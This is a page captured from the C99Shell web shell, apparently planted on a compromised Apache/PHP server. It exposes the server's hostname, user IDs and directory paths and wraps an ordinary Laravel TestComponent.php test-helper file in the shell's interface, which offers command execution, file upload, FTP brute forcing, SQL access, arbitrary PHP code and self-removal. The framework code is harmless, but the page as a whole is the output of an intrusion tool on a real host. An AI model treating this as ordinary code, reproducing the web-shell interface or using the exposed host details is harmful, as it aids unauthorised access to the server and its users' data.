!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Testing/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestComponent.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Testing;

use 
Illuminate\Testing\Assert as PHPUnit;
use 
Illuminate\Testing\Constraints\SeeInOrder;
use 
Illuminate\View\Component;

class 
TestComponent
{
    
/**
     * The original component.
     *
     * @var \Illuminate\View\Component
     */
    
public $component;

    
/**
     * The rendered component contents.
     *
     * @var string
     */
    
protected $rendered;

    
/**
     * Create a new test component instance.
     *
     * @param  \Illuminate\View\Component  $component
     * @param  \Illuminate\View\View  $view
     * @return void
     */
    
public function __construct($component$view)
    {
        
$this->component $component;

        
$this->rendered $view->render();
    }

    
/**
     * Assert that the given string is contained within the rendered component.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSee($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringContainsString((string) $value$this->rendered);

        return 
$this;
    }

    
/**
     * Assert that the given strings are contained in order within the rendered component.
     *
     * @param  array  $values
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeInOrder(array $values$escape true)
    {
        
$values $escape array_map('e', ($values)) : $values;

        
PHPUnit::assertThat($values, new SeeInOrder($this->rendered));

        return 
$this;
    }

    
/**
     * Assert that the given string is contained within the rendered component text.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeText($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringContainsString((string) $valuestrip_tags($this->rendered));

        return 
$this;
    }

    
/**
     * Assert that the given strings are contained in order within the rendered component text.
     *
     * @param  array  $values
     * @param  bool  $escape
     * @return $this
     */
    
public function assertSeeTextInOrder(array $values$escape true)
    {
        
$values $escape array_map('e', ($values)) : $values;

        
PHPUnit::assertThat($values, new SeeInOrder(strip_tags($this->rendered)));

        return 
$this;
    }

    
/**
     * Assert that the given string is not contained within the rendered component.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertDontSee($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringNotContainsString((string) $value$this->rendered);

        return 
$this;
    }

    
/**
     * Assert that the given string is not contained within the rendered component text.
     *
     * @param  string  $value
     * @param  bool  $escape
     * @return $this
     */
    
public function assertDontSeeText($value$escape true)
    {
        
$value $escape e($value) : $value;

        
PHPUnit::assertStringNotContainsString((string) $valuestrip_tags($this->rendered));

        return 
$this;
    }

    
/**
     * Get the string contents of the rendered component.
     *
     * @return string
     */
    
public function __toString()
    {
        return 
$this->rendered;
    }

    
/**
     * Dynamically access properties on the underlying component.
     *
     * @param  string  $attribute
     * @return mixed
     */
    
public function __get($attribute)
    {
        return 
$this->component->{$attribute};
    }

    
/**
     * Dynamically call methods on the underlying component.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     */
    
public function __call($method$parameters)
    {
        return 
$this->component->{$method}(...$parameters);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--